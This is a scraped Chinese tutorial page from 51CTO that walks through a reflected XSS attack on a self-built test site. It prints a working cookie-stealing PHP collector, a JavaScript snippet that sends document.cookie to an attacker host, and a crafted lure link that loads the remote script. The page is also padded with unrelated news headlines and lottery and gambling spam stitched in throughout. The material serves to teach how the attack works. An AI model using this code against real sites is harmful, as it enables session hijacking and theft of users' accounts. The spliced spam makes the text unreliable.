• 网络文学专项整治 400余家违法违规网站被关闭 2019-09-06
  • 我们从无到有,从弱到强,从跟跑到领跑,几代人付出了无数的心血和汗水,才有了今天的成就。是你们流淌的每一滴汗水,汇聚成如今奔腾不息的洪流,向在祖国发展建设各条战线 2019-09-06
  • 蔡奇调研南部地区发展:打造北京未来发展的“金角银边” 2019-09-02
  • 紫光阁中共中央国家机关工作委员会 2019-09-02
  • 奇点金服获一亿元B轮融资 战略合作发布 2019-08-24
  • 用身份证号守大乐透揽得28万二等奖 2019-08-18
  • 武霞红的专栏作者中国国家地理网 2019-08-18
  • 三缸机,怎样做出了四缸机效果? 2019-08-12
  • 一带一路常州故事——中国常州网专题 2019-08-11
  • 李正印出席“传承红色基因,争做时代新人”主题教育活动启动仪式 2019-07-22
  • 巫山县大峡村:深度贫困村的脱贫之变 2019-07-22
  • 中国遥感卫星地面站成功接收高分六号卫星数据 2019-06-28
  • 乡镇纪委做指导 村务监督更有力 2019-06-27
  • 火爆!可兰白克两引冲突掀翻对手 杜锋直接换他下场 2019-06-27
  • 自然型社会和规则性社会,是会随着科技的改变而发生改变的,当然只有规矩也就是制度才能规范人的行为,所以国家是不会灭亡的,但国家的形式是会发生改变的。 2019-06-25
  • |
    |
    51CTO旗下网站
    |
    |
    移动端

    反射型xss实战演示

    我们知道,XSS攻击大致分为三种类型 :Persistent型(持久型),Non-persistent(反射型)及Dom-based型。而反射型是最常用,也是使用得最广的一种攻击方式。它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。

    作者:IcyFox来源:博客|2013-11-14 10:27

    广东11选五精准计划 www.flxp.net 我们知道,XSS攻击大致分为三种类型 :Persistent型(持久型),Non-persistent(反射型)及Dom-based型。而反射型是最常用,也是使用得最广的一种攻击方式。它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。

    今天,通过一个反射型xss的实战演示,让大家详细了解这种攻击方式。

    准备工作:

    (1) 一个有反射型xss漏洞的网站(自己搭的虚拟站点,域名为xsstest.qq.com),该域名下有一个首页(index.html),一个登陆页面(login.html),一个登陆的cgi(login.php),一个用于搜索的cgi(search.php)。界面如下:

    由于xss漏洞一般发生于与用户交互的地方,因此搜索框是我们关注的重点。

    (2)我们自己的黑客网站(另一个虚拟站点 hacker.qq.com)。该域名下有一个hack.php,用以收集用户的cookie,一个hacker.js用以向hack.php发请求。

    发现漏洞

    我们首先需要找出站点的xss漏洞发生在什么地方,上面提到,与用户交互的地方是我们的主要关注点。。好,现在我们随意输入几个字符“计算机”,点击搜索:

    搜索界面如下(这是自己写的一个简陋的搜索界面):

    这里发现了我们输入的字符出现在了搜索界面上(很多电商网站应该都是这种界面页面形式吧)。。好,这次我们输入一些特殊字符来试试“”,点击搜索:

    出现了我们心仪的小弹窗,看来search.php未对用户输入的关键词作任何处理,便直接输出到界面上,既然xss漏洞出现,那么便可以开始实施攻击了,这次攻击的目的是盗取用户的cookie。

    实施攻击

    首先我们来写我们自己的手机cookie CGI(hack.php),代码如下:

    1. <?php 
    2. $cookie = $_GET['q']; 
    3. var_dump($cookie); 
    4. $myFile = "cookie.txt"
    5. file_put_contents($myFile$cookie); 
    6. ?> 

    接着写发送请求的hacker.js,代码如下:

    var img = new Image();
    img.src = "//hacker.qq.com/hack.php?q="+document.cookie;
    document.body.append(img);

    好的,现在可以构造一个连接来欺骗用户了:

    <a href="//xsstest.qq.com/search.php?q=%3Cscript+
    src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
    all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
    1&pcat=food2011&style=grid&cat=">点击就送998</a> 

    看search.php 后的q参数 ,解码后为

    <script src="//hacker.qq.com/hacker.js"></script>

    实际的作用是模拟用户在搜索框中输入

    <script src="//hacker.qq.com/hacker.js"></script>

    后点击搜索。search.php未经处理的将其直接输入到页面,使其在html文档中有了新的语义。它会加载hacker.qq.com域下的haker.js。

    好,当用户登陆了网站后,再欺骗用户点击这个链接,这时候,看hacker.qq.com域下,发现多了一个cookie.txt文件,打开来:

    发现用户用于登陆的账号,密码都在内,密码是经过加密的。。OK,现在我们便可以拿着这个cookie来获取用户的登陆态了。

    整个攻击过程结束。

    当然,现实过程中,很少有网站有如此明显的xss漏洞。。这里只是给大家示范了一下反射型xss的原理,现实中的漏洞虽然五花八门,但是本质是不变的。。大家可以进一步研究。

    【编辑推荐】

    【责任编辑:蓝雨泪 TEL:(010)68476606】

    点赞 0
    分享:
    大家都在看
    猜你喜欢
    24H热文
    一周话题
    本月最赞

    订阅专栏+更多

    活学活用 Ubuntu Server

    活学活用 Ubuntu Server

    实战直通车
    共35章 | UbuntuServer

    226人订阅学习

    Java EE速成指南

    Java EE速成指南

    掌握Java核心
    共30章 | 51CTO王波

    87人订阅学习

    Mysql DBA修炼之路

    Mysql DBA修炼之路

    MySQL入门到高阶
    共24章 | 51CTO叶老师

    483人订阅学习

    读 书 +更多

    开源osCommerce 轻松架设专业电子商务平台

    osCommerce是一款免费的、开放源代码的专业电子商务解决方案。本书以通俗易懂的语言向读者展示了该软件强大的功能和简易的操作方法,主要内...

    订阅51CTO邮刊

    点击这里查看样刊

    订阅51CTO邮刊

    51CTO服务号

    51CTO播客

    广东11选五精准计划
  • 网络文学专项整治 400余家违法违规网站被关闭 2019-09-06
  • 我们从无到有,从弱到强,从跟跑到领跑,几代人付出了无数的心血和汗水,才有了今天的成就。是你们流淌的每一滴汗水,汇聚成如今奔腾不息的洪流,向在祖国发展建设各条战线 2019-09-06
  • 蔡奇调研南部地区发展:打造北京未来发展的“金角银边” 2019-09-02
  • 紫光阁中共中央国家机关工作委员会 2019-09-02
  • 奇点金服获一亿元B轮融资 战略合作发布 2019-08-24
  • 用身份证号守大乐透揽得28万二等奖 2019-08-18
  • 武霞红的专栏作者中国国家地理网 2019-08-18
  • 三缸机,怎样做出了四缸机效果? 2019-08-12
  • 一带一路常州故事——中国常州网专题 2019-08-11
  • 李正印出席“传承红色基因,争做时代新人”主题教育活动启动仪式 2019-07-22
  • 巫山县大峡村:深度贫困村的脱贫之变 2019-07-22
  • 中国遥感卫星地面站成功接收高分六号卫星数据 2019-06-28
  • 乡镇纪委做指导 村务监督更有力 2019-06-27
  • 火爆!可兰白克两引冲突掀翻对手 杜锋直接换他下场 2019-06-27
  • 自然型社会和规则性社会,是会随着科技的改变而发生改变的,当然只有规矩也就是制度才能规范人的行为,所以国家是不会灭亡的,但国家的形式是会发生改变的。 2019-06-25
  • 11选5一定牛河北 黑龙江时时停了 平安彩票app官网下载 捕鱼假日回归奖励 上海十一选五开奖公告 3d开奖结果今天 七星彩19075期预测规律 今天上海福利彩票开奖 福建时时走势图百度百度贴吧 华东十五选五浙江风采走势图 快乐时时计划软件 加拿大卑诗快乐8官网 广东时时现场开奖 11选5每期必中的万能码 五分赛app 三分时时彩有多假